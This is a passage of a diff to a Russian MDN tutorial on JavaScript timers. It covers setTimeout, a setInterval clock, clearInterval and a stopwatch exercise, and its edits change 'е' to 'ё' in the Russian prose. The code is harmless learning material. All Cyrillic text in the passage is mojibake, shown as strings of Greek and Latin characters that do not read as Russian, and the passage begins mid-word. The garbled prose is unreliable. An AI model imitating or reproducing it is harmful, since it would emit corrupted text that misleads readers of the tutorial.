ΠΏΠ΅Ρ€Π²ΠΎΠΉ:</p>
<pre class="brush: js notranslate">// Π‘ ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ
let myGreeting = setTimeout(function sayHi() {
alert('Hello, Mr. Universe!');
}, 2000)
-// Π‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ
+// Π‘ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ
function sayHi() {
alert('Hello Mr. Universe!');
}
@@ -114,9 +114,9 @@ let myGreeting = setTimeout(sayHi, 2000);</pre>
<p><code>setTimeout ()</code> ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΠΎ истСчСнии Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ ΠΏΠ΅Ρ€ΠΈΠΎΠ΄Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Но Ρ‡Ρ‚ΠΎ происходит, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄ снова ΠΈ снова - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² случаС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ?</p>
-<p>Π—Π΄Π΅ΡΡŒ пригодится <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a>Β . Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° setTimeout (), Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ функция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, выполняСтся ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅ΠΌ Π·Π° количСство миллисСкунд, Π·Π°Π΄Π°Π½Π½Ρ‹Ρ…Β Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для выполняСмой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² качСствС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Ρ‹Π·ΠΎΠ²Π° setInterval ().</p>
+<p>Π—Π΄Π΅ΡΡŒ пригодится <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a>Β . Π Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° setTimeout (), Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ функция, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ Π² качСствС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, выполняСтся ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Ρ‡Π΅ΠΌ Π·Π° количСство миллисСкунд, Π·Π°Π΄Π°Π½Π½Ρ‹Ρ…Β Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для выполняСмой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² качСствС ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π²Ρ‹Π·ΠΎΠ²Π° setInterval ().</p>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаСт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code>Β ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΠΈΠ· Π½Π΅Π³ΠΎ строку с Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌΒ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΅Π΅ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС.Β Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ запускаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² сСкунду с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>setInterval()</code>, создавая эффСкт Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… часов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π· Π² сСкунду (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">Β Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, ΠΈΒ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">исходный ΠΊΠΎΠ΄</a>):</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€.Β Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция создаёт Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date()</a></code>, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toLocaleTimeString">toLocaleTimeString()</a></code>Β ΠΈΠ·Π²Π»Π΅ΠΊΠ°Π΅Ρ‚ ΠΈΠ· Π½Π΅Π³ΠΎ строку с Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌΒ ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π΅Ρ‘ Π² ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌ интСрфСйсС.Β Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ запускаСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· Π² сСкунду с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code>setInterval()</code>, создавая эффСкт Ρ†ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Ρ… часов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π°Π· Π² сСкунду (<a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">Β Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>, ΠΈΒ <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">исходный ΠΊΠΎΠ΄</a>):</p>
<pre class="brush: js notranslate">function displayTime() {
let date = new Date();
@@ -126,7 +126,7 @@ let myGreeting = setTimeout(sayHi, 2000);</pre>
const createClock = setInterval(displayTime, 1000);</pre>
-<p>Как ΠΈ <code>setTimeout ()</code>, <code>setInterval ()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π».</p>
+<p>Как ΠΈ <code>setTimeout ()</code>, <code>setInterval ()</code> Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ·ΠΆΠ΅, ΠΊΠΎΠ³Π΄Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π».</p>
<h3 id="ΠžΡ‡ΠΈΡΡ‚ΠΊΠ°_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°">ΠžΡ‡ΠΈΡΡ‚ΠΊΠ° ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π°</h3>
@@ -138,14 +138,14 @@ clearInterval(myInterval);</pre>
<h4 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_собствСнного_сСкундомСра!">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ собствСнного сСкундомСра!</h4>
-<p>Учитывая всС Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅, Ρƒ нас Π΅ΡΡ‚ΡŒ для вас Π·Π°Π΄Π°Ρ‡Π°. Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ копию нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a></code>Β , ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π΅ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой собствСнный простой сСкундомСр.</p>
+<p>Учитывая всС Π²Ρ‹ΡˆΠ΅ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅, Ρƒ нас Π΅ΡΡ‚ΡŒ для вас Π·Π°Π΄Π°Ρ‡Π°. Π’ΠΎΠ·ΡŒΠΌΠΈΡ‚Π΅ копию нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Β <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/setinterval-clock.html">setInterval-clock.html</a></code>Β , ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Ρ‘ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой собствСнный простой сСкундомСр.</p>
<p>Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ врСмя, ΠΊΠ°ΠΊ ΠΈ Ρ€Π°Π½ΡŒΡˆΠ΅, Π½ΠΎ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ:</p>
<ul>
<li>Кнопка "Start" для запуска сСкундомСра.</li>
<li>Кнопка "Stop" для ΠΏΠ°ΡƒΠ·Ρ‹/остановки.</li>
- <li>Кнопка "Reset", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ счСтчик Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π°Β <code>0</code>.</li>
+ <li>Кнопка "Reset", Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ счётчик Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π°Β <code>0</code>.</li>
<li>ДисплСй Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ количСство ΠΏΡ€ΠΎΡˆΠ΅Π΄ΡˆΠΈΡ… сСкунд Π° Π½Π΅ фактичСскоС врСмя.</li>
</ul>
@@ -155,17 +155,17 @@ clearInterval(myInterval);</pre>
<li>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΡ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ ΠΊΠ½ΠΎΠΏΠΎΠΊ ΠΏΠΎ своСму ΡƒΡΠΌΠΎΡ‚Ρ€Π΅Π½ΠΈΡŽ; просто ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ сСмантичСский HTML с ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠ°ΠΌΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π·Π°Ρ…Π²Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ссылки Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ JavaScript.</li>
<li>ВСроятно, Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, которая начинаСтся с 0, Π° Π·Π°Ρ‚Π΅ΠΌ увСличиваСтся Π½Π° Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ сСкунду с использованиСм постоянного Ρ†ΠΈΠΊΠ»Π°.</li>
<li>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΡ‰Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±Π΅Π· использования ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Date (), ΠΊΠ°ΠΊ ΠΌΡ‹ это Π΄Π΅Π»Π°Π»ΠΈ Π² нашСй вСрсии, Π½ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚Β ΠΌΠ΅Π½Π΅Π΅ Ρ‚ΠΎΡ‡Π΅Π½ - Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ колбэк сработаСт Ρ€ΠΎΠ²Π½ΠΎ Ρ‡Π΅Ρ€Π΅Π· 1000 мс. Π‘ΠΎΠ»Π΅Π΅ Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ способом Π±Ρ‹Π»ΠΎ Π±Ρ‹ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ startTime = Date.now (), Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ΅Ρ‚ΠΊΡƒ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠ°Π» ΠΊΠ½ΠΎΠΏΠΊΡƒ запуска, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Date.now () - startTime, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ количСство миллисСкунд послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π±Ρ‹Π»Π° Π½Π°ΠΆΠ°Ρ‚Π° кнопка запуска .</li>
- <li>Π’Π°ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎΒ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ количСство часов, ΠΌΠΈΠ½ΡƒΡ‚ ΠΈ сСкунд ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… вмСстС Π² строкС послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°. На Π²Ρ‚ΠΎΡ€ΠΎΠΌ счСтчикС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· Π½ΠΈΡ….</li>
+ <li>Π’Π°ΠΌΒ Ρ‚Π°ΠΊΠΆΠ΅ Π½ΡƒΠΆΠ½ΠΎΒ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ количСство часов, ΠΌΠΈΠ½ΡƒΡ‚ ΠΈ сСкунд ΠΊΠ°ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ значСния, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΈΡ… вмСстС Π² строкС послС ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π°. На Π²Ρ‚ΠΎΡ€ΠΎΠΌ счётчикС Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡ‚Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΡƒΡŽ ΠΈΠ· Π½ΠΈΡ….</li>
<li>ΠšΠ°ΠΊΒ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹Β ΠΈΡ… Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ? ΠŸΠΎΠ΄ΡƒΠΌΠ°ΠΉΡ‚Π΅ ΠΎΠ± этом:
<ul>
<li>Π’ ΠΎΠ΄Π½ΠΎΠΌ часС <code>3600Β </code>сСкунд.</li>
- <li>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ ΠΌΠΈΠ½ΡƒΡ‚ - это количСство сСкунд, ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ послС вычитания всСх часов, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ Π½Π° 60.</li>
+ <li>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ ΠΌΠΈΠ½ΡƒΡ‚ - это количСство сСкунд, ΠΎΡΡ‚Π°Π²ΡˆΠ΅Π΅ΡΡ послС вычитания всСх часов, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π½Π° 60.</li>
<li>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ сСкунд Π±ΡƒΠ΄Π΅Ρ‚ количСством сСкунд, ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ послС вычитания всСх ΠΌΠΈΠ½ΡƒΡ‚.</li>
</ul>
</li>
<li>Π’Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΒ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ ноль Π² ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹Π΅ значСния, Ссли сумма мСньшС <code>10</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ большС ΠΏΠΎΡ…ΠΎΠ΄ΠΈΠ»ΠΈ Π½Π° традиционныС часы.</li>
- <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сСкундомСр, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π». Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Π°ΠΌ Π½ΡƒΠ΄Π½ΠΎΒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ счСтчик ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° <code>0</code>, ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π», Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</li>
- <li>ВСроятно, Π²Π°ΠΌ слСдуСт ΠΎΡ‚ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΡƒ запуска послС Π΅Π΅ наТатия ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΈ снова Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ остановили / сбросили Π΅Π΅. Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС ΠΌΠ½ΠΎΠ³ΠΎΠΊΡ€Π°Ρ‚Π½ΠΎΠ΅ Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ ΠΊΠ½ΠΎΠΏΠΊΠΈ запуска ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ΠΈΡŽ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… <code>setInterval ()</code> ΠΊ часам, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Π½Π΅ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΌΡƒ повСдСнию.</li>
+ <li>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ сСкундомСр, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π». Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ±Ρ€ΠΎΡΠΈΡ‚ΡŒ Π΅Π³ΠΎ, Π²Π°ΠΌ Π½ΡƒΠ΄Π½ΠΎΒ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ счётчик ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° <code>0</code>, ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π», Π° Π·Π°Ρ‚Π΅ΠΌ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</li>
